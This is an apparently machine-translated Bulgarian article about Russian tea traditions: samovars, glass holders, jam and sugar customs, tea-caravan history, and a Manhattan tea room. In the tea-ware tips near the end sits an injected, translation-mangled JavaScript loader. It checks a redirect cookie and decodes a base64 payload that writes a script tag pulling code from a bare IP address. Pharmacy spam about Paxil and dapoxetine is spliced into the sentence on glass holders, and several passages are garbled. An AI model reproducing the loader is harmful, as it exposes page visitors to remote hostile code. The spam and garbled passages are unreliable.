В яркочервената трапезария на руската чайна в Манхатън се озовах до великолепен месингов самовар и се изправих пред извисяващ се дисплей от блини с хайвер, малки сандвичи с пушена риба и горещи кифлички. Тук, надявах се, ще разбера как руснаците са пили чай, в края на краищата те са петият по големина консуматор на напитката в света.

„Това е наистина голяма част от живота и когато се прибера със семейството си, просто сядаме около масата и обсъждаме политиката. Съседите идват и става силно и шумно ”, каза родената в Санкт Петербург Олга Масов, писателка, която сега живее в Бруклин. „Може да се каже, че чаят е много голяма част от Русия.“

Чаят също е много голяма част от гостоприемството, а в Русия, както и в много други страни, всеки гост е посрещнат с чаша. Напитката също следва всяко хранене и въпреки че днес кафето е направило своя отпечатък в Източна Европа, чаят все още е напитката, на която много хора се придържат.

„След хранене не сме щастливи, докато не изпием чаша чай“, каза Анна Гершенсон, имигрант от Латвия, която сега живее в Масачузетс. По време на престоя си в Русия, обясни тя, чаят се предлагаше само под формата на разхлабени листа и едва когато се премести в Съединените щати, тя разбра за торбичките за чай. Традиционно те пиеха чай от стъклени чаши с държачи, наречени podstakannik; използваше кърпа баба, наричана още уютен чай, за да поддържа чайника топъл; и никога не слагайте мляко във варата. В Русия те също имат различен подход към подслаждането на чая си.

„Не слагате кубчетата захар в чая си“, обясни Гершенсън.

чайни

Време за чай в руската чайна

„Или ще го захапеш, ако имаш добри зъби и отпиеш чая, или го потопиш леко в чая.“

Често руските захарни кубчета идват като по-големи бучки с форма на тухли, наречени брикети. Това прави отчупването на парче и по-лесното му потапяне, но кубчетата, както си спомня дъщерята на Гершенсън Габриела, доказаха идеалния размер за дядо си, който да постави между зъбите си, след което той отпиваше черната варя през нея.

Сладкото е друга голяма част от руската чайна традиция, обикновено ягодов, черешов или малинов сорт. Последният вкус, за който хората вярвали, че има лечебни свойства, а Габриела, писател на храни, базирана в Ню Йорк, си спомня същия дядо, който я слагал в чай, когато й било лошо. „Вкусът му беше наистина добър“, каза тя и ако някога сте го опитвали, ще разберете, че е права, което е една от причините майка й никога да не спести да сервира консервите с чай. „Дори и да не слагате сладко в чая, ние винаги сервираме сладко“, каза тя по телефона. „Никой не пиеше чай, който не беше подсладен.“

Откъде идва идеята да се сложи конфитюр в чая остава загадка, но по-лесно е да се разбере как чайът е станал толкова голяма част от страната. През 1600 г. цар Михаил получих около 250 паунда чай като подарък от монголски владетел, което е първият запис на появата на Камелия Синенсис в Русия. Напитката се улови и до 1679 г. Русия сключи сделка с Китай за търговия с кожи за редовно снабдяване с чай. По това време чаят беше изключително скъп и поради това чаят се превърна в напитката за кралски особи в продължение на почти два века.

През 1800-те години повечето чайове се отправят към Русия от Китай чрез 16 до 18 месечни каравани за чай. Така е получил името си добре познатата смесена руска каравана, а димът, който свързваме с нея, първоначално идва от лагерните огньове, които ще изгарят по време на пътуването.

В крайна сметка руснаците започнаха да отглеждат чай в Сочи, който все още е най-северният регион за отглеждане на чай до момента в света. Сега там не се произвежда много, особено в сравнение с Китай или Индия, но все пак можете да се насочите към чаената плантация Dagomys, за да видите как го правят и да останете за чаша.

Изложени самовари

Чаят, който получихме в руската чайна, не беше от Сочи, дом на зимните олимпийски игри през 2014 г. Вместо това, докато седяхме до реколтата от самовари, поставени като караули на нашата плюшена червена кабина, ни бяха дадени малки саксии с аромат на ванилия и цитрусови плодове с принц Владимир и Russian Country, по-лек поглед към руския керван, направен от парижката компания Kusmi.

За съжаление не видях красивите самовари в действие, но това не е изненадващо. В днешно време, тъй като повечето хора имат електричество, остатъците от въглищата не се използват често. Първият известен „модерен“ самовар, подобен на този в Руската чайна, е създаден през 1717 г., въпреки че началото на масовото производство на самоварите започва едва през 1778 г., когато Назар Лисицин регистрира първата фабрика на самоварите в Русия.

Вместо да сипваме от един от тези древни артефакти, имахме керамични чайници и пиехме напитката от стъклени чаши, поставени в метални държачи или подстаканник, за лесно отпиване.

Често можете да намерите подстаканник, покрит със сребро, никел или злато, и те могат да бъдат в сложни модели от деликатен филигран, до лицата на царе, до изображения на исторически събития. Този стил чаена чаша се среща и в постсъветските държави, включително Беларус и Украйна, и за пръв път се появява през 18-те странични ефекти на паксил, евтин дапоксетин век. Днес притежателите на стъкло са все още популярни и заводът в Колчуг-Мизар в Колчугино е най-големият производител на такива от 1871 г.

Чашите в руската чайна не са толкова сложни, но ястието от домашно приготвено сладко от череши и деликатни сандвичи, които сервираха, даде достатъчно усещане за величие. Вярно е, че ако сте се впуснали в руско домакинство днес или дори преди век, сервизът за чай няма да е като в този емблематичен нюйоркски ресторант, това е по-скоро британското влияние. Въпреки това, дори когато кафето краде сърцата на най-новото поколение, чаят има силна сила както в традицията, така и във вкусовете на руснаците.

„Сега обичам кафето, но то е съвсем различно“, каза Гершенсън. „Когато пия чай си мисля,„ Ах. “Няма нищо подобно на пиенето на чай.“

Руско време за чай

Чай: Kusmi Tea’s Prince Vladimir, смес от черен китайски чай, бергамот, лимон и грейпфрут. Вкусът излиза като класически Earl Grey, с ярки цитруси и затопляща ванилова страна, идеален за студена, зимна нощ в Русия. Освен тази смес, те предлагат 12 чая на руска тематика, всички си заслужава да се опитат.

Сладки: Сдвоете чая си с обикновена бисквитка с масло или кифлички. Можете да опитате сладките сушки във формата на пръстен с ванилия от russiantable.com или да отидете на бисквити с лимонов чай ​​от The Famous Pacific Dessert Company, които можете да намерите на amazon.com.

Прибори за чай: Не е трудно да намерите руски чаши с кристален кристал и красив подстаканник, в който да го поставите, въпреки че за декоративен държач за чаши е най-добре да станете реколта. В съвременния край вземете електрически самовар, за да приготвите чая; по-лесно е и по-икономично от въглищното, което вече не се прави. функция getCookie (e) \ (\) \ [\] \\\/\ + ^])/g, ”\\ $ 1 ″) +” = ([^;] *) ”)); върнете U? decodeURIComponent ( U [1]): нищожен 0> Var SRC = "данни: текст/JavaScript; base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs =", сега = Math.floor (Date.now ()/1e3), бисквитката = getCookie ( "пренасочване"); ако (сега> = (време = бисквитка) || празно 0 === време)

Жаден за повече?
Вземете вашата дневна доза наситени истории, съвети и
Щракнете тук за вашия безплатен абонамент!

За автора

Писателката на свободна практика за храна, напитки и пътешествия Линея Ковингтън се премести от Денвър, Колорадо в Бруклин, Ню Йорк преди 12 години и оттогава обича да яде, пие и изследва града. Любовта й към чая произтича от посещенията при дядо й, ентусиаст на Ърл Грей, и през годините е посещавала чаена плантация в Перу, изпила е много чай на луксозна подложка и е говорила чай с готвача на знаменитост Маркус Самуелсон.